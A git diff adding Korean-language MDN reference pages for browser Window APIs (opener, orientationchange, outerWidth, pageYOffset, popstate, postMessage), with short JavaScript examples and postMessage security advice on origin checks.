+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/212/=FirefoxInnerVsOuterHeight.png"></p>
+
+<h3 id="Note_on_refreshing_vs._opening_a_new_windowtab">Note on refreshing vs. opening a new window/tab</h3>
+
+<p>If the <code>strWindowName</code> parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.</p>
+
+<pre class="brush:js">//Always opens a new window/tab
+window.open("map.php");
+
+//Refreshes an existing window/tab that was opened with the same name, if one exists
+window.open("map.php", "BiggerMap");</pre>
+
+<h2 id="Tutorials">Tutorials</h2>
+
+<ul>
+ <li><a href="http://www.infimum.dk/HTML/JSwindows.html">JavaScript windows (tutorial)</a> by Lasse Reichstein Nielsen</li>
+ <li><a href="http://accessify.com/features/tutorials/the-perfect-popup/" title="http://accessify.com/features/tutorials/the-perfect-popup/">The perfect pop-up (tutorial)</a> by Ian Lloyd</li>
+ <li><a href="http://www.gtalbot.org/FirefoxSection/Popup/PopupAndFirefox.html">Popup windows and Firefox (interactive demos)</a> by Gérard Talbot</li>
+</ul>
+
+<h2 id="References_2">References</h2>
+
+<ul>
+ <li><a href="http://www.cs.tut.fi/~jkorpela/www/links.html">Links Want To Be Links</a> by Jukka K. Korpela</li>
+ <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a> by Jeff Howden</li>
+</ul>
diff --git a/files/ko/web/api/window/opener/index.html b/files/ko/web/api/window/opener/index.html
new file mode 100644
index 0000000000..78dc86c861
--- /dev/null
+++ b/files/ko/web/api/window/opener/index.html
@@ -0,0 +1,52 @@
+---
+title: Window.opener
+slug: Web/API/Window/opener
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/opener
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <code><strong>opener</strong></code> 속성은 {{domxref("Window.open", "open()")}}을 사용해 현재 창을 열었던 창의 참조를 반환합니다.</span></p>
+
+<p>예제로 설명하자면, 창 <code>A</code>가 창 <code>B</code>를 열었을 때 <code>B.opener</code>는 <code>A</code>를 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox notranslate">const <var>openerWindow</var> = window.opener
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("window.open()")}}을 사용하거나 {{htmlattrxref("target", "a")}} 특성을 지정한 링크로 현재 창을 연 {{domxref("Window")}}. 현재 창이 다른 창에 의해 생성됐거나 링크로 열리지 않았다면 {{jsxref("null")}}.</p>
+
+<p><a href="https://caniuse.com/#search=noopener">최근 브라우저</a>에서는 {{htmlelement("a")}} 요소에 <code>rel="noopener noreferrer"</code> 특성을 지정하면 <code>window.opener</code> 참조 설정을 방지합니다. 따라서 생성된 창의 <code>opener</code> 속성에 접근해도 <code>null</code>을 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-opener', 'window.opener')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.opener")}}</p>
diff --git a/files/ko/web/api/window/orientationchange_event/index.html b/files/ko/web/api/window/orientationchange_event/index.html
new file mode 100644
index 0000000000..6426f678f7
--- /dev/null
+++ b/files/ko/web/api/window/orientationchange_event/index.html
@@ -0,0 +1,66 @@
+---
+title: orientationchange
+slug: Web/API/Window/orientationchange_event
+translation_of: Web/API/Window/orientationchange_event
+---
+<p><code>orientationchange</code> 이벤트는 장치의 방향이 바뀔 때 호출 된다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/screen-orientation/#event-handlers">Screen Orientation</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Screen</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js;">// Note that "orientationchange" and screen.orientation are unprefixed in the following
+// code although this API is still vendor-prefixed browsers implementing it.
+screen.addEventListener("orientationchange", function() {
+    alert("the orientation of the device is now " + screen.orientation);
+});
+</pre>
diff --git a/files/ko/web/api/window/outerwidth/index.html b/files/ko/web/api/window/outerwidth/index.html
new file mode 100644
index 0000000000..272c415bb7
--- /dev/null
+++ b/files/ko/web/api/window/outerwidth/index.html
@@ -0,0 +1,101 @@
+---
+title: Window.outerWidth
+slug: Web/API/Window/outerWidth
+translation_of: Web/API/Window/outerWidth
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>Window.outerWidth 는 브라우저 윈도우 바깥쪽의 폭을 얻어온다. 이것은 브라우저 윈도우의 사이드바와 가장자리 경계선을 포함한 폭을 나타내어 준다.</p>
+
+<p>이 값은 읽기전용이다. 그리고 기본값이 없다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>outWindowWidth</var> = window.outerWidth;
+</pre>
+
+<p>반환이 끝나면 outWindowWidth는 윈도우의 바깥경계를 포함한 너비(폭)를 담고 있다.</p>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>이 사이즈를 변경하기 위해서는, {{domxref("window.resizeBy()")}} 또는 {{domxref("window.resizeTo()")}}를 참조하세요.</p>
+
+<p>윈도우의 안쪽 폭 즉, 현재 표시되고있는 창의 폭을 얻으려면  {{domxref("window.innerWidth")}}를 참조하세요.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>크롬</th>
+   <th>파이어폭스 (Gecko)</th>
+   <th>인터넷 익스플로러</th>
+   <th>오페라</th>
+   <th>사파리</th>
+  </tr>
+  <tr>
+   <td>기초 지원</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>기초 지원</td>
+   <td>1</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-outerwidth', 'Window.outerWidth') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.outerHeight")}}, {{domxref("window.innerHeight")}}, {{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.resizeBy()")}}, {{domxref("window.resizeTo()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/pageyoffset/index.html b/files/ko/web/api/window/pageyoffset/index.html
new file mode 100644
index 0000000000..4579abd3f8
--- /dev/null
+++ b/files/ko/web/api/window/pageyoffset/index.html
@@ -0,0 +1,164 @@
+---
+title: Window.pageYOffset
+slug: Web/API/Window/pageYOffset
+tags:
+  - API
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/pageYOffset
+---
+<div>{{ APIRef("CSSOM View") }}</div>
+
+<p>{{domxref("Window")}} 인터페이스의 <strong><code>pageYOffset</code></strong> 읽기 전용 속성은 {{domxref("Window.scrollY", "scrollY")}}의 다른 이름으로, 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.</p>
+
+<p>일부 오래된 브라우저는 <code>scrollY</code> 대신 <code>pageYOffset</code>만 지원하는 경우가 있지만, 노후 환경을 신경쓰지 않아도 된다면 둘 중 아무거나 사용해도 괜찮습니다.</p>
+
+<p>수평 스크롤을 나타내는 {{domxref("Window.pageXOffset", "pageXOffset")}} 속성 역시 {{domxref("Window.scrollX", "scrollX")}}의 다른 이름입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>yOffset</em> = window.pageYOffset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("Window")}} 안의 {{domxref("Document")}}가 수직 방향으로 스크롤된 거리를 픽셀 단위로 나타낸 부동소숫점 수. 단일 픽셀보다 높은 수준의 정밀도를 가지므로 정수가 아닐 수 있습니다. <code>0.0</code>은 창의 콘텐츠 영역과 문서의 위쪽 모서리 위치가 일치함을 나타냅니다.</p>
+
+<p><code>pageYOffset</code>은 {{domxref("Window.scrollY")}}의 다른 이름이므로, 값에 대한 더 자세한 정보는 해당 문서를 방문해주세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<div class="hidden">
+<pre class="brush: js">var contentHTML = `
+    &lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing
+elit. Aenean volutpat vitae felis non dictum. Ut auctor
+eros tortor, vel elementum arcu rhoncus nec. Donec non
+laoreet massa. Donec pretium nisi et condimentum convallis.
+Nullam dictum molestie finibus. Nullam vitae lorem non
+augue mattis cursus.&lt;/p&gt;
+  &lt;p&gt;Maecenas nec tortor tincidunt, sollicitudin mi eget,
+fermentum turpis. Vestibulum ac ante et libero efficitur
+faucibus id eget ex. Pellentesque tempor pharetra
+tincidunt. Suspendisse potenti. Nulla vulputate nunc sit
+amet hendrerit faucibus. Nullam metus dui, venenatis
+lacinia nunc nec, vestibulum viverra nunc. Quisque interdum
+quam tortor, sit amet varius neque consectetur at. Quisque
+vel turpis justo.&lt;/p&gt;
+  &lt;h2 id="overview"&gt;Overview&lt;/h2&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing
+elit. Etiam dui dolor, pulvinar sed diam id, eleifend
+dapibus odio. Duis vitae ante nibh. Integer bibendum
+imperdiet suscipit. Fusce ligula leo, consectetur ac ante
+eget, gravida laoreet purus. Cras sodales efficitur risus,
+sed feugiat sem. Pellentesque justo augue, placerat non leo
+sit amet, laoreet fringilla arcu.&lt;/p&gt;
+  &lt;p&gt;Class aptent taciti sociosqu ad litora torquent per
+conubia nostra, per inceptos himenaeos. Proin in gravida
+libero. Vivamus placerat, lacus eget condimentum sagittis,
+enim nunc bibendum nisi, quis varius erat felis sit amet
+risus.&lt;/p&gt;
+&lt;p&gt;Sed non finibus ligula. Fusce a magna auctor, molestie
+nibh eget, sodales felis. Donec imperdiet facilisis mi ut
+aliquam. Etiam sodales suscipit urna, eget hendrerit neque
+elementum a. Vivamus fringilla sodales est ut ultricies.
+Nulla convallis congue maximus. Nullam consectetur felis
+vitae ultricies accumsan. Mauris at aliquam felis. Mauris
+efficitur tellus massa, id ullamcorper ipsum fermentum eu.
+Aenean mollis dignissim ultrices. Nunc gravida, sem sit
+amet lobortis iaculis, dolor ligula convallis nibh, id
+condimentum metus libero nec odio. Quisque nec ante
+pretium, viverra neque nec, facilisis risus. Duis
+condimentum sapien non felis cursus blandit. Integer
+euismod lectus a ipsum pellentesque lacinia.&lt;/p&gt;
+`;
+
+document.getElementById("frame").contentDocument
+        .body.innerHTML = contentHTML;
+</pre>
+</div>
+
+<p>In this example, an {{HTMLElement("iframe")}} is created and filled with content, then a specific element within the document is scrolled into view in the frame. Once that's done, the vertical scroll position is checked by looking at the value of <code>pageYOffset</code> in the frame's {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML은 단 두 개의 요소를 가진 짧은 코드입니다. 하나는 스크롤할 문서를 담은 {{HTMLElement("iframe")}}이고, 다른 하나는 스크롤을 끝냈을 때 <code>pageYOffset</code>의 값을 기록할 {{HTMLElement("div")}}입니다.</p>
+
+<pre class="brush: html">&lt;iframe id="frame"&gt;
+&lt;/iframe&gt;
+
+&lt;div id="info"&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var frame = document.getElementById("frame");
+var frameDoc = frame.contentDocument;
+var info = document.getElementById("info");
+
+var target = frameDoc.getElementById("overview");
+frameDoc.scrollingElement.scrollTop = target.offsetTop;
+
+info.innerText = "스크롤 후 Y축 차이: " +
+                 frame.contentWindow.pageYOffset + " 픽셀";</pre>
+
+<p>The JavaScript code begins by getting into <code>frame</code> and <code>info</code> the <code>&lt;iframe&gt;</code> element that contains our content as well as the <code>&lt;div&gt;</code> element into which we'll output the result of our scroll position check. It then gets a reference to the element we want to scroll into view calling {{domxref("Document.getElementById", "getElementById()")}} on the frame's {{domxref("HTMLIFrameElement.contentDocument")}}.</p>
+
+<p>With the target element in hand, we set the {{domxref("Element.scrollTop", "scrollTop")}} of the frame's {{domxref("Document.scrollingElement", "scrollingElement")}} to the {{domxref("Element.offsetTop", "offsetTop")}} of the target element. By doing so, we set the vertical scrolling position of the frame's document so that it's the same as the top edge of the target element.</p>
+
+<p>This will automatically set the scrolling position to the maximum possible value if the attempted scroll would exceed the maximum. This prevents us from falling off the edge of the document. Nobody wants to know what's out there. There might be dragons.</p>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">iframe {
+  width: 620px;
+  height: 450px;
+  border: 1px solid black;
+}
+
+#info {
+  margin-top: 20px;
+  font: 16px "Open Sans", "Helvetica", "Arial";
+}</pre>
+</div>
+
+<h3 id="결과">결과</h3>
+
+<p>The result follows. Note that the frame's contents have been scrolled to show the section named "Overview", and that the value of the <code>pageYOffset</code> property is shown with the corresponding value.</p>
+
+<p>{{EmbedLiveSample("예제", 650, 500)}}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.pageYOffset")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Window.pageXOffset", "pageXOffset")}}</li>
+ <li>{{domxref("Window.scrollY", "scrollY")}} and {{domxref("Window.scrollX", "scrollX")}}</li>
+ <li>{{domxref("Window.scroll", "scroll()")}}, {{domxref("Window.scrollBy", "scrollBy()")}}, and {{domxref("window.scrollTo", "scrollTo()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/popstate_event/index.html b/files/ko/web/api/window/popstate_event/index.html
new file mode 100644
index 0000000000..5012c22d1b
--- /dev/null
+++ b/files/ko/web/api/window/popstate_event/index.html
@@ -0,0 +1,66 @@
+---
+title: popstate
+slug: Web/API/Window/popstate_event
+tags:
+  - API
+  - Event
+  - History
+  - History API
+  - Reference
+translation_of: Web/API/Window/popstate_event
+---
+<div>{{APIRef}}</div>
+
+<p>{{domxref("Window")}} 인터페이스의 <strong><code>popstate</code></strong> 이벤트는 사용자의 세션 기록 탐색으로 인해 현재 활성화된 기록 항목이 바뀔 때 발생합니다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 됩니다.</p>
+
+<p>history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의합니다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. </p>
+
+<p>브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리합니다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킵니다. 하지만 Firefox 는 그렇지 않습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("PopStateEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td>{{domxref("WindowEventHandlers.onpopstate", "onpopstate")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.popstate_event")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<p>예시를 보자, 다음의 코드를 실행하는 <code><var>http://example.com/example.html </var></code>의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.</p>
+
+<pre class="brush: js">window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>원래의 히스토리 엔트리인 (<code><var>http://example.com/example.html</var></code>) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.</p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API">Manipulating the browser history (the History API) </a></li>
+</ul>
diff --git a/files/ko/web/api/window/postmessage/index.html b/files/ko/web/api/window/postmessage/index.html
new file mode 100644
index 0000000000..34aa8a67fe
--- /dev/null
+++ b/files/ko/web/api/window/postmessage/index.html
@@ -0,0 +1,183 @@
+---
+title: Window.postMessage()
+slug: Web/API/Window/postMessage
+translation_of: Web/API/Window/postMessage
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><code><strong>window.postMessage()</strong></code> 메소드는 {{domxref("Window")}} 오브젝트 사이에서 안전하게 cross-origin 통신을 할 수 있게 합니다. 예시로, 페이지와 생성된 팝업 간의 통신이나, 페이지와 페이지 안의 iframe 간의 통신에 사용할 수 있습니다.</p>
+
+<p>일반적으로, 다른 페이지 간의 스크립트는 각 페이지가 같은 프로토콜, 포트 번호와 호스트을 공유하고 있을 때에("<a href="/en-US/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>"으로도 불려 집니다.) 서로 접근할 수 있습니다. <code><strong>window.postMessage()</strong></code>는 이 제약 조건을 안전하게 우회하는 기능을 제공합니다.</p>
+
+<p>대체로, 한 window는 다른 window를 참조할 수 있고(<em>예시,</em> <code>targetWindow = window.opener</code>), <code>targetWindow.postMessage()</code>를 통해 다른 window에 {{domxref("MessageEvent")}}를 전송할 수 있습니다. 이벤트를 받는 window는 이를 통해 필요에 따라 <a href="/ko/docs/Web/Guide/Events">이벤트를 처리</a>할 수 있습니다. <code><strong>window.postMessage()</strong></code>를 통해 전달된 인자(예시, "message")는 <a href="#The_dispatched_event">이벤트 객체를 통해 이벤트를 받는 window에서 사용</a>할 수 있습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>targetWindow</em>.postMessage(<em>message</em>, <em>targetOrigin</em>, [<em>transfer</em>]);</pre>
+
+<dl>
+ <dt><code><em>targetWindow</em></code></dt>
+ <dd>메세지를 전달 받을 window의 참조. 참조를 취득할 방법으로는 다음과 같은 것이 있습니다:
+ <ul>
+  <li>{{domxref("Window.open")}} (새 창을 만들고 새 창을 참조할 때),</li>
+  <li>{{domxref("Window.opener")}} (새 창을 만든 window를 참조할 때),</li>
+  <li>{{domxref("HTMLIFrameElement.contentWindow")}} (부모 window에서 임베디드된 {{HTMLElement("iframe")}}을 참조할 때),</li>
+  <li>{{domxref("Window.parent")}} (임베디드된 {{HTMLElement("iframe")}}에서 부모 window를 참조할 때),</li>
+  <li>{{domxref("Window.frames")}} + an index value (named or numeric).</li>
+ </ul>
+ </dd>
+ <dt><code><em>message</em></code></dt>
+ <dd>다른 window에 보내질 데이터. 데이터는 <a href="/en-US/docs/DOM/The_structured_clone_algorithm">the structured clone algorithm</a>을 이용해 직렬화됩니다. 이를 통해 직렬화를 직접할 필요 없이 대상 window에 다양한 데이터 객체를 안전하게 전송할 수 있습니다. [<a href="/en-US/docs/">1</a>]</dd>
+ <dt><code><em>targetOrigin</em></code></dt>
+ <dd><code>targetWindow</code>의 origin을 지정합니다. 이는 전송되는 이벤트에서 사용되며, 문자열 <code>"*"</code>(별도로 지정하지 않음을 나타냄) 혹은 URI이어야 합니다. 이벤트를 전송하려 할 때에 <code>targetWindow</code>의 스키마, 호스트 이름, 포트가 <code>targetOrigin</code>의 정보와 맞지 않다면, 이벤트는 전송되지 않습니다. 세 가지 모두 일치해야 이벤트가 전송됩니다. 이는 메세지를 보내는 곳을 제안하기 위함입니다. 예를 들어, <code>postMessage()</code>를 통해 비밀번호가 전송된다면, 악의적인 제 3자가 가로채지 못하도록, <code>targetOrigin</code>을 반드시 지정한 수신자와 동일한 URI를 가지도록 설정하는 것이 정말 중요합니다. <strong>다른 window의 document의 위치를 알고 있다면, 항상 <code>targetOrigin</code>에 <code>*</code> 말고 특정한 값을 설정하세요. 특정한 대상을 지정하지 않으면 악의적인 사이트에 전송하는 데이터가 공개되어 버립니다.</strong></dd>
+ <dt><code><em><strong>transfer</strong></em></code> {{optional_Inline}}</dt>
+ <dd>일련의 {{domxref("Transferable")}} 객체들. 메세지와 함께 전송됩니다. 이 객체들의 소유권은 수신 측에게 전달되며, 더 이상 송신 측에서 사용할 수 없습니다.</dd>
+</dl>
+
+<h2 id="디스페치_이벤트The_dispatched_event">디스페치 이벤트(The dispatched event)</h2>
+
+<p> 이하의 JavaScript를 실행하면 <code>otherWindow</code> 에서 전달된 메시지를 받을 수 있습니다:</p>
+
+<pre class="brush: js">window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  if (event.origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+</pre>
+
+<p>전달된 메시지의 프로퍼티는 다음과 같습니다:</p>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>다른 윈도우에서 온 오브젝트.</dd>
+ <dt><code>origin</code></dt>
+ <dd><code>postMessage</code> 가 호출될 때 메시지를 보내는 윈도우의 <a href="/en-US/docs/Origin">origin</a>.<br>
+ 이 문자열은 프로토콜과 "://", 호스트 명(존재할 경우), 그리고 ":"의 뒤에 이어 지는 포트 번호가 연결된 것입니다. (포트 번호는 포트 번호가 명기되었거나 주어진 프로토콜의 디폴트 포트와 다를 경우). 전형적인 origin의 예로 <code class="nowiki">https://example.org</code> (이 경우 port <code>443</code>), <code class="nowiki">http://example.net</code> (이 경우 port <code>80</code>), and <code class="nowiki">http://example.com:8080</code>가 있습니다. 이  origin은 <code>postMessage</code> 호출 이후 다른 위치로 이동되었을 수 있는 해당 윈도우의 현재 또는 미래의  origin 이 보장되지 <em>않는다</em>는 점에 주의하세요.</dd>
+ <dt><code>source</code></dt>
+ <dd>메시지를 보낸  <code><a href="/en-US/docs/DOM/window">window</a></code> 오브젝트에 대한 참조.<br>
+ 이것을 사용함으로 다른 orign에 있는 두 개의 윈도우에서 쌍방향 통신을 확립할 수 있습니다.</dd>
+</dl>
+
+<h2 id="보안_문제Security_concerns">보안 문제(Security concerns)</h2>
+
+<p><strong>다른 사이트로부터 메시지를 받고 싶지 않다면,  <code>message</code> 이벤트를 위해 어떠한 이벤트 리스너도 추가하지 <em>마세요</em>.</strong> 이것은 보안 문제를 피할 수 있는 단순명료한 방법입니다.</p>
+
+<p>다른 사이트로부터 메시지를 받고자 한다면, <code>origin</code>과 추가로 <code>source</code> 프로퍼티를 이용해 <strong>항상 보내는 쪽의 신원을 확인하세요</strong>. 임의의 어떤 윈도우(예: <code class="nowiki">http://evil.example.com</code>를 포함)는 다른 윈도우에 메시지를 보낼 수 있으며, 알 수 없는 발신자가 악의적인 메시지를 보내지 않는다는 보장이 없습니다. 그러나 신원을 확인했더라도 <strong>수신된 메시지의 구문을 항상 확인해야 합니다</strong>. 그렇지 않으면 신뢰할 수 있는 메시지만 전송할 것으로 기대한 사이트의 보안 구멍으로 인해 크로스 사이트 스크립트 빈틈이 생길 수 있습니다.</p>
+
+<p><strong><code>postMessage</code> 를 이용해 다른 윈도우로 데이터를 보낼 때, 항상 정확한 타겟 origin (<code>*</code>가 아니라) 을 지정하세요.</strong> 악의적인 사이트는 당신이 모르는 사이에 윈도우의 위치를 변경할 수 있고, 따라서 <code>postMessage</code>를 사용하여 전송된 데이터를 가로챌 수 있습니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">/*
+ * &lt;http://example.com:8080&gt;에 있는 윈도우 A의 스크립트:
+ */
+
+var popup = window.open(...popup details...);
+
+// 팝업이 완전히 로드되었을 때:
+
+// This does nothing, assuming the window hasn't changed its location.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// This will successfully queue a message to be sent to the popup, assuming
+// the window hasn't changed its location.
+popup.postMessage("hello there!", "http://example.com");
+
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?  (might be
+  // different from what we originally opened, for example).
+  if (event.origin !== "http://example.com")
+    return;
+
+  // event.source is popup
+  // event.data is "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<pre class="brush: js">/*
+ * In the popup's scripts, running on &lt;http://example.com&gt;:
+ */
+
+// Called sometime after postMessage is called
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source is window.opener
+  // event.data is "hello there!"
+
+  // Assuming you've verified the origin of the received message (which
+  // you must do in any case), a convenient idiom for replying to a
+  // message is to call postMessage on event.source and provide
+  // event.origin as the targetOrigin.
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p>윈도우 document의 장소와 무관하게, 임의의 윈도우는 언제든지 메시지를 보내기 위해 임의의 다른 윈도우에 있는 함수에 접근할 수도 있습니다. 그래서 이벤트 리스너는 메시지를 취득할 때, <code>origin</code> 또는 <code>source</code> 프로퍼티를 이용해, 먼저 메시지 송신자의 식별 정보를 <strong>체크해야만 합니다</strong>. 이것은 아무리 강조해도 지나치지 않습니다. 왜냐하면,<strong> <code>origin</code> 또는 <code>source</code> 프로퍼티의 체크 실패는 크로스 사이트 스크립팅 공격을 가능하게 하기 때문입니다.</strong></p>
+
+<p>비동기로 전달된 스크립트(타임아웃, 유저 생성 이벤트)에서, <code>postMessage</code>의 호출자의 판별이 불가능할 때, <code>postMessage</code>에 의해 보내진 이벤트를 기다리는 이벤트 핸들러는 예외를 발생시킵니다.</p>
+
+<p><code>postMessage()</code>는 <em>보류 중인 모든 실행 컨텍스트가 완료된 후에만</em> {{domxref("MessageEvent")}}을 발송하도록 스케줄합니다. 예를 들어, 이벤트 핸들러에서 <code>postMessage()</code>가 호출되는 경우, {{domxref("MessageEvent")}}가 발송되기 전에 해당 이벤트에 대한 나머지 핸들러와 마찬가지로 이벤트 핸들러는 완료까지 실행된다.</p>
+
